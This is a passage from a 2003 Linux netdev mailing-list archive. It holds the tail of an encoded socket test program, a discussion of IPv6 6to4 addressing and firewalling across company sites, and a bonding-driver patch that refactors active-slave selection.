dest.sin_addr.s_addr =3D u.i ;=0A= fd =3D socket(AF_INET, SOCK_STREAM, 0) ;=0A= if (fd =3D=3D -1) break ;=0A= if (connect(fd, (struct sockaddr *)&dest, sizeof(dest)) =3D=3D -1) {=0A= perror("connect") ;=0A= break ;=0A= }=0A= write(fd, some_data, sizeof(some_data)) ;=0A= }=0A= printf("total=3D%u\n", total) ;=0A= pause() ;=0A= }=0A= =0A= int main(int argc, char *argv[])=0A= {=0A= int listener ;=0A= int caller ;=0A= if (argc !=3D 3) {=0A= usage(1);=0A= }=0A= listener =3D !strcmp(argv[1], "listen") ;=0A= caller =3D !strcmp(argv[1], "call") ;=0A= if (listener) {=0A= do_listener(argv[2]) ;=0A= }=0A= else if (caller) {=0A= do_caller(argv[2]) ;=0A= }=0A= else usage(2) ;=0A= return 0 ;=0A= }=0A= /********************************************************************/=0A= ------=_NextPart_000_0B26_01C37877.E0329AC0-- From pekkas@netcore.fi Thu Sep 11 06:20:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 06:20:33 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BDKPYa030810 for ; Thu, 11 Sep 2003 06:20:26 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8BDKIP13055; Thu, 11 Sep 2003 16:20:18 +0300 Date: Thu, 11 Sep 2003 16:20:17 +0300 (EEST) From: Pekka Savola To: David Woodhouse cc: netdev@oss.sgi.com Subject: Re: IPv6 6to4 on site-local networks. In-Reply-To: <1063284516.23778.152.camel@hades.cambridge.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5758 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Thu, 11 Sep 2003, David Woodhouse wrote: > On Thu, 2003-09-11 at 10:49 +0300, Pekka Savola wrote: > > Yep, but once you break into just one box w/ global addresses, all of the > > site-internal infrastructure is open to you. This seems like a high price > > to pay, with many points of failure. > > Well yes, but that's _already_ the cases for boxen on the internal > RFC1918 IPv4 network. If you own one, you have access to them all. Ok.. now you have the chance to improve security by doing IPv6 (.. and having to put in internal filters as well, in the process) :-) > That's why we'd want outgoing-connections-only for all the internal IPv6 > machines, just as they have in the IPv4 world by virtue of being behind > NAT. Right. (This is a bit tricker with Linux IPv6 firewalling as it doesn't support connection tracking, but still roughly doable.) > > One possible solution is to pick one (or a couple of) major sites which > > provide "internal connectivity addresses". For example, assume you have > > the big HQ in the US. Deploy on each node: > > > > - IPv6 connectivity addresses, obtained using 6to4 or the like, and > > - IPv6 addesses from the HQ block. > > > > The latter are only used for internal connectivity through CIPE tunnels; > > the former would be used to reach IPv6 Internet (without a need to go > > through the HQ and from there to the Internet). > > That works, and is one of the more promising options at the moment. Ok. > But we don't want to have to manually configure each host to be > multihomed -- assuming that HQ gets assigned the 2001:200:0:8002::/64 > network, and our local site has 2001:200:0:8002:1234::/80 from that, Please don't: get a /48, so you can give each subnet a /64. Giving less than /80 breaks so many things (like stateless address autoconfiguration). > along with > 2002:c35c:f9ff::/48 from 6to4 with its IPv4 Internet address... is there > a way to configure radvd or dhcpv6 so it tells each host: > > "You are 2001:200:0:8002:1234: and should route packets > to 2001:200:0:8002::/64 using that source address. > "You are also 2002:c55c:f9ff:1234: and should route > packets to 2000::/3 using _that_ source address." Not possible, that I'm aware of. > In fact, we don't have to get it 100% correct -- as long as we ensure > that the failure mode where we route to internal hosts using our > non-HQ-derived IPv6 address isn't going to happen, This is a bit tricky. There are two ways to hack around this: 1) at your HQ, create an inbound firewall filter, so that you'll disallow any incoming packets to the "internal blocks" from the Internet. If a host happens to start fall back to using global connectivity, the connectivity fails utterly. and: 2) at your edge sites, make a firewall filter which prevents reaching "internal blocks" through the Internet (automated installation could be achieved using any number of mechanisms, whichever you're using). .. in addition, up-to-date source address selection in the kernel should ensure that does not happen when you'd use only "internal addresses" in your DNS, or give internal addresses as command-line. Destination address selection is a bit trickier (hence the methods above) because if you'd get "internal address" and "external address" from the DNS, and the glibc getaddrinfo() implementation would pick one at random, this would lead to using the external connectivity half of the times, unless prevented with e.g. those filters or by administration (about the DNS names) > it's OK to allow the > failure mode where we route to external hosts using our HQ-derived IPv6 > address; that's only going to make it a bit slower, not actually make it > break. Right. > > The potential issue here is the source address selection, so that the > > hosts don't pick the HQ addresses when they try to reach to IPv6 sites in > > the Big Internet (so that the packets don't route back through the HQ). > > Unless they go out bearing the HQ-derived address, but with a 'care-of' > option pointing at the local IPv6-connectivity address? Mobile IPv6 is quite a bit more complicated than that nowadays.. :-/ > > > > Note that 6to4 specification explicitly disallows the use of 6to4 on > > > > private addresses. No such checks have been added to Linux kernel (should > > > > be..), but you're likely to face more or less trouble if you do so. > > > > > It's a bit more than that, even though Linux kernel only implements the > > very basics of the specification. See RFC3056 section 9 last paragraph. > > Hmmm. I wonder how it's supposed to know which are subnet-broadcast > addresses? Kernel looks up all the v4 broadcast addresses from all the interfaces..? Should be pretty doable. > Do you reckon there are boxen out there which will refuse to > route for 2002:c35c:f9ff::1 just as some refuse to route for > 195.92.249.255? I'm not sure if such implementations exist, but if they don't, there are specific threats (though minor) if such check are implemented. > > Mobile IPv6 could be leveraged for you, sure. However, you seem to > > require just one basic feature of MIPv6: tunneling back to Home (Agent). > > The same can be established through CIPE tunnels. This is similar to my > > thought, above, of deploying both IPv6 Internet connectivity ("care-of > > address") and local HQ addressing ("home address") to all the nodes. > > > > For security, you would then have to ensure that the "local HQ addresses" > > don't leak and are properly firewalled. > > I was trying to avoid the tunnelling altogether, at least for the common > case. I thought that Mobile-IPv6 avoided the 'triangular routing' > problem that IPv4 has, by introducing a way for the correspondent node > to know about the mobile node's care-of address. Mobile IPv6 won't help with that, in practice. That's because the binding between care-of and home addresses must be secured. The only way that can be done, in general, is to use a return routability procedure, that is: the node a host communicates with ("correspondent node") sends a packet to the home address and the care-of address of the host with a cookie (and other stuff), and makes sure the host reflects them back at it, thus verifying that it is in fact reachable at both addresses. So, this would create many new roundtrips, which is not really what you'd want.. Hope this helps.. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From dwmw2@infradead.org Thu Sep 11 07:00:35 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 07:00:35 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BE0XYa000601 for ; Thu, 11 Sep 2003 07:00:34 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id DF2F863D7F; Thu, 11 Sep 2003 15:00:27 +0100 (BST) Received: from localhost.localdomain (IDENT:uUXzZ6jaAhmzNvKhiCB/jaslIp/at00M@localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.9/8.11.0) with ESMTP id h8BE0R54006609; Thu, 11 Sep 2003 15:00:27 +0100 Subject: Re: IPv6 6to4 on site-local networks. From: David Woodhouse To: Pekka Savola Cc: netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Message-Id: <1063288826.23778.243.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.5 (dwmw2) Date: Thu, 11 Sep 2003 15:00:27 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 5759 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Thu, 2003-09-11 at 16:20 +0300, Pekka Savola wrote: > Ok.. now you have the chance to improve security by doing IPv6 (.. and > having to put in internal filters as well, in the process) :-) Yes. We'll do this right after we stop using non-kerberised NFS. :) > > That's why we'd want outgoing-connections-only for all the internal IPv6 > > machines, just as they have in the IPv4 world by virtue of being behind > > NAT. > > Right. (This is a bit tricker with Linux IPv6 firewalling as it doesn't > support connection tracking, but still roughly doable.) This is a fundamental requirement before we will be permitted allow connectivity to the outside world, I think. > Please don't: get a /48, so you can give each subnet a /64. Giving less > than /80 breaks so many things (like stateless address autoconfiguration). Er, yeah -- I can't count. Assume HQ has a /48 and our site's subnet is a /64. > > "You are 2001:200:0:8002:1234: and should route packets > > to 2001:200:0:8002::/64 using that source address. > > "You are also 2002:c55c:f9ff:1234: and should route > > packets to 2000::/3 using _that_ source address." > > Not possible, that I'm aware of. ... and not just because there were 154 bits in one of those addresses :) > > In fact, we don't have to get it 100% correct -- as long as we ensure > > that the failure mode where we route to internal hosts using our > > non-HQ-derived IPv6 address isn't going to happen, > > This is a bit tricky. There are two ways to hack around this: > > 1) at your HQ, create an inbound firewall filter, so that you'll disallow > any incoming packets to the "internal blocks" from the Internet. If a > host happens to start fall back to using global connectivity, the > connectivity fails utterly. Nono, talking to the outside world using HQ-derived addresses is _OK_. It's just a bit slower than using the locally-derived addresses, since we go through the tunnels. What's going to break is talking to _internal_ machines using our locally-derived address. Our packets will get to them fine, over the internal tunnels, but their route back to us will then be over the Internet rather than through the internal tunnels, and hence it'll get firewalled. It's just a source-address-selection issue. If our HQ-assigned network is 2001:200:0::/48 and we are both 2001:200:0:8002:: and some other locally-obtained address, then we MUST use our 2001:200:0:: (internal) address as source for all destinations in 2001:200:0::/48. It would be _nice_ if we use the other address for all other destinations, but it's not imperative. AFAICT Rule 8 of RFC2484 is going to give us that anyway, and isn't going to be superseded by Rules 1-7 either. It should be fine. > 2) at your edge sites, make a firewall filter which prevents reaching > "internal blocks" through the Internet (automated installation could be > achieved using any number of mechanisms, whichever you're using). We'll be routing 'internal' addresses through our tunnels rather than out the site's IPv6 link to the Internet anyway. > .. in addition, up-to-date source address selection in the kernel should > ensure that does not happen when you'd use only "internal addresses" in > your DNS, or give internal addresses as command-line. > > Destination address selection is a bit trickier (hence the methods above) > because if you'd get "internal address" and "external address" from the > DNS, and the glibc getaddrinfo() implementation would pick one at random, > this would lead to using the external connectivity half of the times, > unless prevented with e.g. those filters or by administration (about the > DNS names) We can avoid this question entirely. The 'company.internal' domain would have only the HQ-derived addresses in it. The IPv6 addresses obtained for external connectivity at each site are irrelevant for internal communication. Likewise, since ingress from the public Internet isn't going to be permitted, there's no real need for there to be AAAA records for the site-derived addresses in the 'company.com' domain. It's only source-address selection which we need to care about, and that should be fine. > Kernel looks up all the v4 broadcast addresses from all the interfaces..? > Should be pretty doable. Oh, it knows its _own_ and shouldn't actually send a broadcast IPv4 packet after decapsulating a 6to4 packet -- but it's also supposed to magically know not to encapsulate into IPv4 a packet with an IPv4 address encoded which _happens_ to be a subnet broadcast elsewhere. It can't know that. > > Do you reckon there are boxen out there which will refuse to > > route for 2002:c35c:f9ff::1 just as some refuse to route for > > 195.92.249.255? > > I'm not sure if such implementations exist, but if they don't, there are > specific threats (though minor) if such check are implemented. That was a valid IPv4 address; it just happens to have a 255 in its last octet. There _are_ some people who can't route to it though, because some router in between thinks it's a subnet broadcast. > Mobile IPv6 won't help with that, in practice. That's because the binding > between care-of and home addresses must be secured. <...> > So, this would create many new roundtrips, which is not really what you'd > want.. Well, the _initial_ connection would all be tunnelled, and the binding would be set up in parallel, so that you end up routing optimally; just going via the tunnel to start with. Although I don't think I want to contemplate connection-tracking in that scenario :) -- dwmw2 From amir.noam@intel.com Thu Sep 11 07:37:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 07:37:36 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BEbZYa001811 for ; Thu, 11 Sep 2003 07:37:35 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BEZAQ14468 for ; Thu, 11 Sep 2003 14:35:10 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BEWEI16098 for ; Thu, 11 Sep 2003 14:32:14 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091107372514384 ; Thu, 11 Sep 2003 07:37:26 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 1/10] [bonding 2.6] consolidate change_active operations Date: Thu, 11 Sep 2003 17:37:24 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309111737.24606.amir.noam@intel.com> X-archive-position: 5761 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:11 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:12 2003 @@ -473,6 +473,11 @@ DRV_NAME ".c:v" DRV_VERSION " (" DRV_REL #define MAX_ARP_IP_TARGETS 16 #endif +#define USES_PRIMARY(mode) \ + (((mode) == BOND_MODE_ACTIVEBACKUP) || \ + ((mode) == BOND_MODE_TLB) || \ + ((mode) == BOND_MODE_ALB)) + struct bond_parm_tbl { char *modename; int mode; @@ -581,6 +586,9 @@ static int bond_enslave(struct net_devic static int bond_release(struct net_device *master, struct net_device *slave); static int bond_release_all(struct net_device *master); static int bond_sethwaddr(struct net_device *master, struct net_device *slave); +static void change_active_interface(struct bonding *bond, struct slave *new); +static void reselect_active_interface(struct bonding *bond); +static struct slave *find_best_interface(struct bonding *bond); /* Caller must hold bond->ptrlock for write */ static inline struct slave* @@ -691,7 +699,7 @@ update_slave_cnt(bonding_t *bond, int in * belongs to . It returns in case it's needed. * Nothing is freed on return, structures are just unchained. * If the bond->current_slave pointer was pointing to , - * it's replaced with bond->next, or NULL if not applicable. + * it should be changed by the calling function. * * bond->lock held for writing by caller. */ @@ -725,17 +733,6 @@ bond_detach_slave(bonding_t *bond, slave update_slave_cnt(bond, -1); - /* no need to hold ptrlock since bond lock is - * already held for writing - */ - if (slave == bond->current_slave) { - if ( bond->next != (slave_t *)bond) { /* found one slave */ - bond_assign_current_slave(bond, bond->next); - } else { - bond_assign_current_slave(bond, NULL); - } - } - return slave; } @@ -1578,9 +1575,7 @@ static int bond_enslave(struct net_devic #endif /* first slave or no active slave yet, and this link is OK, so make this interface the active one */ - bond_assign_current_slave(bond, new_slave); - bond_set_slave_active_flags(new_slave); - bond_mc_update(bond, new_slave, NULL); + change_active_interface(bond, new_slave); } else { #ifdef BONDING_DEBUG @@ -1630,7 +1625,7 @@ static int bond_enslave(struct net_devic /* first slave or no active slave yet, and this link * is OK, so make this interface the active one */ - bond_assign_current_slave(bond, new_slave); + change_active_interface(bond, new_slave); } /* if there is a primary slave, remember it */ @@ -1737,6 +1732,13 @@ static int bond_change_active(struct net return -ENODEV; } + /* Verify that master_dev is indeed the master of slave_dev */ + if (!(slave_dev->flags & IFF_SLAVE) || + (slave_dev->master != master_dev)) { + + return -EINVAL; + } + bond = (struct bonding *) master_dev->priv; write_lock_bh(&bond->lock); slave = (slave_t *)bond; @@ -1761,16 +1763,7 @@ static int bond_change_active(struct net (oldactive != NULL)&& (newactive->link == BOND_LINK_UP)&& IS_UP(newactive->dev)) { - if (bond_mode == BOND_MODE_ACTIVEBACKUP) { - bond_set_slave_inactive_flags(oldactive); - bond_set_slave_active_flags(newactive); - } - - bond_mc_update(bond, newactive, oldactive); - bond_assign_current_slave(bond, newactive); - printk("%s : activate %s(old : %s)\n", - master_dev->name, newactive->dev->name, - oldactive->dev->name); + change_active_interface(bond, newactive); } else { ret = -EINVAL; } @@ -1778,47 +1771,26 @@ static int bond_change_active(struct net return ret; } -/* Choose a new valid interface from the pool, set it active - * and make it the current slave. If no valid interface is - * found, the oldest slave in BACK state is choosen and - * activated. If none is found, it's considered as no - * interfaces left so the current slave is set to NULL. - * The result is a pointer to the current slave. - * - * Since this function sends messages tails through printk, the caller - * must have started something like `printk(KERN_INFO "xxxx ");'. +/** + * find_best_interface - select the best available slave to be the active one + * @bond: our bonding struct * * Warning: Caller must hold ptrlock for writing. */ -slave_t *change_active_interface(bonding_t *bond) +static struct slave *find_best_interface(struct bonding *bond) { - slave_t *newslave, *oldslave; - slave_t *bestslave = NULL; + struct slave *newslave, *oldslave; + struct slave *bestslave = NULL; int mintime; newslave = oldslave = bond->current_slave; if (newslave == NULL) { /* there were no active slaves left */ if (bond->next != (slave_t *)bond) { /* found one slave */ - newslave = bond_assign_current_slave(bond, bond->next); + newslave = bond->next; } else { - - printk (" but could not find any %s interface.\n", - (bond_mode == BOND_MODE_ACTIVEBACKUP) ? "backup":"other"); - bond_assign_current_slave(bond, NULL); return NULL; /* still no slave, return NULL */ } - } else if (bond_mode == BOND_MODE_ACTIVEBACKUP) { - /* make sure oldslave doesn't send arps - this could - * cause a ping-pong effect between interfaces since they - * would be able to tx arps - in active backup only one - * slave should be able to tx arps, and that should be - * the current_slave; the only exception is when all - * slaves have gone down, then only one non-current slave can - * send arps at a time; clearing oldslaves' mc list is handled - * later in this function. - */ - bond_set_slave_inactive_flags(oldslave); } mintime = updelay; @@ -1833,22 +1805,12 @@ slave_t *change_active_interface(bonding newslave = bond->primary_slave; } + /* remember where to stop iterating over the slaves */ + oldslave = newslave; + do { if (IS_UP(newslave->dev)) { if (newslave->link == BOND_LINK_UP) { - /* this one is immediately usable */ - if (bond_mode == BOND_MODE_ACTIVEBACKUP) { - bond_set_slave_active_flags(newslave); - bond_mc_update(bond, newslave, oldslave); - printk (" and making interface %s the active one.\n", - newslave->dev->name); - } - else { - printk (" and setting pointer to interface %s.\n", - newslave->dev->name); - } - - bond_assign_current_slave(bond, newslave); return newslave; } else if (newslave->link == BOND_LINK_BACK) { @@ -1861,46 +1823,100 @@ slave_t *change_active_interface(bonding } } while ((newslave = newslave->next) != oldslave); - /* no usable backup found, we'll see if we at least got a link that was - coming back for a long time, and could possibly already be usable. - */ - - if (bestslave != NULL) { - /* early take-over. */ - printk (" and making interface %s the active one %d ms earlier.\n", - bestslave->dev->name, - (updelay - bestslave->delay)*miimon); - - bestslave->delay = 0; - bestslave->link = BOND_LINK_UP; - bestslave->jiffies = jiffies; - bond_set_slave_active_flags(bestslave); - bond_mc_update(bond, bestslave, oldslave); - bond_assign_current_slave(bond, bestslave); - return bestslave; - } - - if ((bond_mode == BOND_MODE_ACTIVEBACKUP) && - (multicast_mode == BOND_MULTICAST_ACTIVE) && - (oldslave != NULL)) { - /* flush bonds (master's) mc_list from oldslave since it wasn't - * updated (and deleted) above - */ - bond_mc_list_flush(oldslave->dev, bond->device); - if (bond->device->flags & IFF_PROMISC) { - dev_set_promiscuity(oldslave->dev, -1); + return bestslave; +} + +/** + * change_active_interface - change the active slave into the specified one + * @bond: our bonding struct + * @new: the new slave to make the active one + * + * Set the new slave to the bond's settings and unset them on the old + * current_slave. + * Setting include flags, mc-list, promiscuity, allmulti, etc. + * + * If @new's link state is %BOND_LINK_BACK we'll set it to %BOND_LINK_UP, + * because it is apparently the best available slave we have, even though its + * updelay hasn't timed out yet. + * + * Warning: Caller must hold ptrlock for writing. + */ +static void change_active_interface(struct bonding *bond, struct slave *new) +{ + struct slave *old = bond->current_slave; + + if (old == new) { + return; + } + + if (new) { + if (new->link == BOND_LINK_BACK) { + if (USES_PRIMARY(bond_mode)) { + printk (KERN_INFO + "%s: making interface %s the new " + "active one %d ms earlier.\n", + bond->device->name, new->dev->name, + (updelay - new->delay) * miimon); + } + + new->delay = 0; + new->link = BOND_LINK_UP; + new->jiffies = jiffies; + + if (bond_mode == BOND_MODE_8023AD) { + bond_3ad_handle_link_change(new, BOND_LINK_UP); + } + + if ((bond_mode == BOND_MODE_TLB) || + (bond_mode == BOND_MODE_ALB)) { + bond_alb_handle_link_change(bond, new, BOND_LINK_UP); + } + } else { + if (USES_PRIMARY(bond_mode)) { + printk (KERN_INFO + "%s: making interface %s the new active one.\n", + bond->device->name, new->dev->name); + } } - if (bond->device->flags & IFF_ALLMULTI) { - dev_set_allmulti(oldslave->dev, -1); + } + + if (bond_mode == BOND_MODE_ACTIVEBACKUP) { + if (old) { + bond_set_slave_inactive_flags(old); + } + + if (new) { + bond_set_slave_active_flags(new); } } - printk (" but could not find any %s interface.\n", - (bond_mode == BOND_MODE_ACTIVEBACKUP) ? "backup":"other"); - - /* absolutely nothing found. let's return NULL */ - bond_assign_current_slave(bond, NULL); - return NULL; + if (USES_PRIMARY(bond_mode)) { + bond_mc_update(bond, new, old); + } + + bond_assign_current_slave(bond, new); +} + +/** + * reselect_active_interface - select a new active slave, if needed + * @bond: our bonding struct + * + * This functions shoud be called when one of the following occurs: + * - The old current_slave has been released or lost its link. + * - The primary_slave has got its link back. + * - A slave has got its link back and there's no old current_slave. + * + * Warning: Caller must hold ptrlock for writing. + */ +static void reselect_active_interface(struct bonding *bond) +{ + struct slave *best_slave; + + best_slave = find_best_interface(bond); + + if (best_slave != bond->current_slave) { + change_active_interface(bond, best_slave); + } } /* @@ -1967,6 +1983,11 @@ static int bond_release(struct net_devic bond_3ad_unbind_slave(our_slave); } + printk (KERN_INFO "%s: releasing %s interface %s\n", + master->name, + (our_slave->state == BOND_STATE_ACTIVE) ? "active" : "backup", + slave->name); + /* release the slave from its bond */ bond_detach_slave(bond, our_slave); @@ -1974,18 +1995,11 @@ static int bond_release(struct net_devic bond->primary_slave = NULL; } - printk (KERN_INFO "%s: releasing %s interface %s", - master->name, - (our_slave->state == BOND_STATE_ACTIVE) ? "active" : "backup", - slave->name); - - if (our_slave == old_current) { - /* find a new interface and be verbose */ - change_active_interface(bond); - } else { - printk(".\n"); + if (bond->current_slave == our_slave) { + change_active_interface(bond, NULL); + reselect_active_interface(bond); } - + if (bond->current_slave == NULL) { printk(KERN_INFO "%s: now running without any active interface !\n", @@ -2274,9 +2288,7 @@ static void bond_mii_monitor(struct net_ write_lock(&bond->ptrlock); if (slave == bond->current_slave) { /* find a new interface and be verbose */ - change_active_interface(bond); - } else { - printk(".\n"); + reselect_active_interface(bond); } write_unlock(&bond->ptrlock); slave_died = 1; @@ -2372,7 +2384,7 @@ static void bond_mii_monitor(struct net_ write_lock(&bond->ptrlock); if ( (bond->primary_slave != NULL) && (slave == bond->primary_slave) ) - change_active_interface(bond); + reselect_active_interface(bond); write_unlock(&bond->ptrlock); } else @@ -2418,40 +2430,8 @@ static void bond_mii_monitor(struct net_ /* no active interface at the moment or need to bring up the primary */ if (oldcurrent == NULL) { /* no active interface at the moment */ if (bestslave != NULL) { /* last chance to find one ? */ - if (bestslave->link == BOND_LINK_UP) { - printk (KERN_INFO - "%s: making interface %s the new active one.\n", - master->name, bestslave->dev->name); - } else { - printk (KERN_INFO - "%s: making interface %s the new " - "active one %d ms earlier.\n", - master->name, bestslave->dev->name, - (updelay - bestslave->delay) * miimon); - - bestslave->delay = 0; - bestslave->link = BOND_LINK_UP; - bestslave->jiffies = jiffies; - - /* notify ad that the link status has changed */ - if (bond_mode == BOND_MODE_8023AD) { - bond_3ad_handle_link_change(bestslave, BOND_LINK_UP); - } - - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { - bond_alb_handle_link_change(bond, bestslave, BOND_LINK_UP); - } - } - - if (bond_mode == BOND_MODE_ACTIVEBACKUP) { - bond_set_slave_active_flags(bestslave); - bond_mc_update(bond, bestslave, NULL); - } else if (bond_mode != BOND_MODE_8023AD) { - bestslave->state = BOND_STATE_ACTIVE; - } write_lock(&bond->ptrlock); - bond_assign_current_slave(bond, bestslave); + change_active_interface(bond, bestslave); write_unlock(&bond->ptrlock); } else if (slave_died) { /* print this message only once a slave has just died */ @@ -2535,7 +2515,7 @@ static void loadbalance_arp_monitor(stru "for interface %s, ", master->name, slave->dev->name); - change_active_interface(bond); + reselect_active_interface(bond); } else { printk(KERN_INFO "%s: interface %s is now up\n", @@ -2567,7 +2547,7 @@ static void loadbalance_arp_monitor(stru write_lock(&bond->ptrlock); if (slave == bond->current_slave) { - change_active_interface(bond); + reselect_active_interface(bond); } write_unlock(&bond->ptrlock); } @@ -2645,9 +2625,7 @@ static void activebackup_arp_monitor(str if ((bond->current_slave == NULL) && ((jiffies - slave->dev->trans_start) <= the_delta_in_ticks)) { - bond_assign_current_slave(bond, slave); - bond_set_slave_active_flags(slave); - bond_mc_update(bond, slave, NULL); + change_active_interface(bond, slave); bond->current_arp_slave = NULL; } else if (bond->current_slave != slave) { /* this slave has just come up but we @@ -2737,7 +2715,8 @@ static void activebackup_arp_monitor(str master->name, slave->dev->name); write_lock(&bond->ptrlock); - slave = change_active_interface(bond); + reselect_active_interface(bond); + slave = bond->current_slave; write_unlock(&bond->ptrlock); bond->current_arp_slave = slave; if (slave != NULL) { @@ -2756,13 +2735,10 @@ static void activebackup_arp_monitor(str bond->primary_slave->dev->name); /* primary is up so switch to it */ - bond_set_slave_inactive_flags(slave); - bond_mc_update(bond, bond->primary_slave, slave); write_lock(&bond->ptrlock); - bond_assign_current_slave(bond, bond->primary_slave); + change_active_interface(bond, bond->primary_slave); write_unlock(&bond->ptrlock); slave = bond->primary_slave; - bond_set_slave_active_flags(slave); slave->jiffies = jiffies; } else { bond->current_arp_slave = NULL; @@ -2805,7 +2781,7 @@ static void activebackup_arp_monitor(str /* if the link state is up at this point, we * mark it down - this can happen if we have * simultaneous link failures and - * change_active_interface doesn't make this + * reselect_active_interface doesn't make this * one the current slave so it is still marked * up when it is actually down */ @@ -3056,9 +3032,7 @@ static int bond_ioctl(struct net_device break; case BOND_CHANGE_ACTIVE_OLD: case SIOCBONDCHANGEACTIVE: - if ((bond_mode == BOND_MODE_ACTIVEBACKUP) || - (bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if (USES_PRIMARY(bond_mode)) { ret = bond_change_active(master_dev, slave_dev); } else { @@ -3388,9 +3362,7 @@ static int bond_read_proc(char *buf, cha len += sprintf(buf + len, "Bonding Mode: %s\n", bond_mode_name()); - if ((bond_mode == BOND_MODE_ACTIVEBACKUP) || - (bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if (USES_PRIMARY(bond_mode)) { read_lock_bh(&bond->lock); read_lock(&bond->ptrlock); if (bond->current_slave != NULL) { @@ -3905,9 +3877,7 @@ static int __init bonding_init(void) "link failures! see bonding.txt for details.\n"); } - if ((primary != NULL) && (bond_mode != BOND_MODE_ACTIVEBACKUP) && - (bond_mode != BOND_MODE_TLB) && - (bond_mode != BOND_MODE_ALB)){ + if ((primary != NULL) && !USES_PRIMARY(bond_mode)) { /* currently, using a primary only makes sense * in active backup, TLB or ALB modes */ From amir.noam@intel.com Thu Sep 11 07:37:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 07:37:28 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BEbOYa001787 for ; Thu, 11 Sep 2003 07:37:25 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BEYxQ14320 for ; Thu, 11 Sep 2003 14:34:59 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BEW4I15966 for ; Thu, 11 Sep 2003 14:32:04 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091107371624736 ; Thu, 11 Sep 2003 07:37:17 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH 0/10] [bonding 2.6] propagating master's settings to slaves Date: Thu, 11 Sep 2003 17:37:15 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309111737.15424.amir.noam@intel.com> X-archive-position: 5760 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev The following set ports to 2.6 the propagation patch set that went into 2.4.23-pre3. Also, fix a free_netdev() error that the previous patch set introduced and fix a compile error using ipx_hdr(). Patches should be applied after the previous patch set (sent 2003/09/04) that ported bug fixes from 2.4. patch1: Distinguish between modes that use a primary slave from those that don't, and propagate settings accordingly; Consolidate change_active operations and add reselect_active and find_best opeartions. patch2: Change monitoring function use the above functionality. patch3: Modes that don't use primary don't use the above functionality. patch4: Decouple promiscuous handling from the multicast mode setting. patch5: Add support for changing HW address and MTU with proper unwind in old modes. patch6: Same thing for 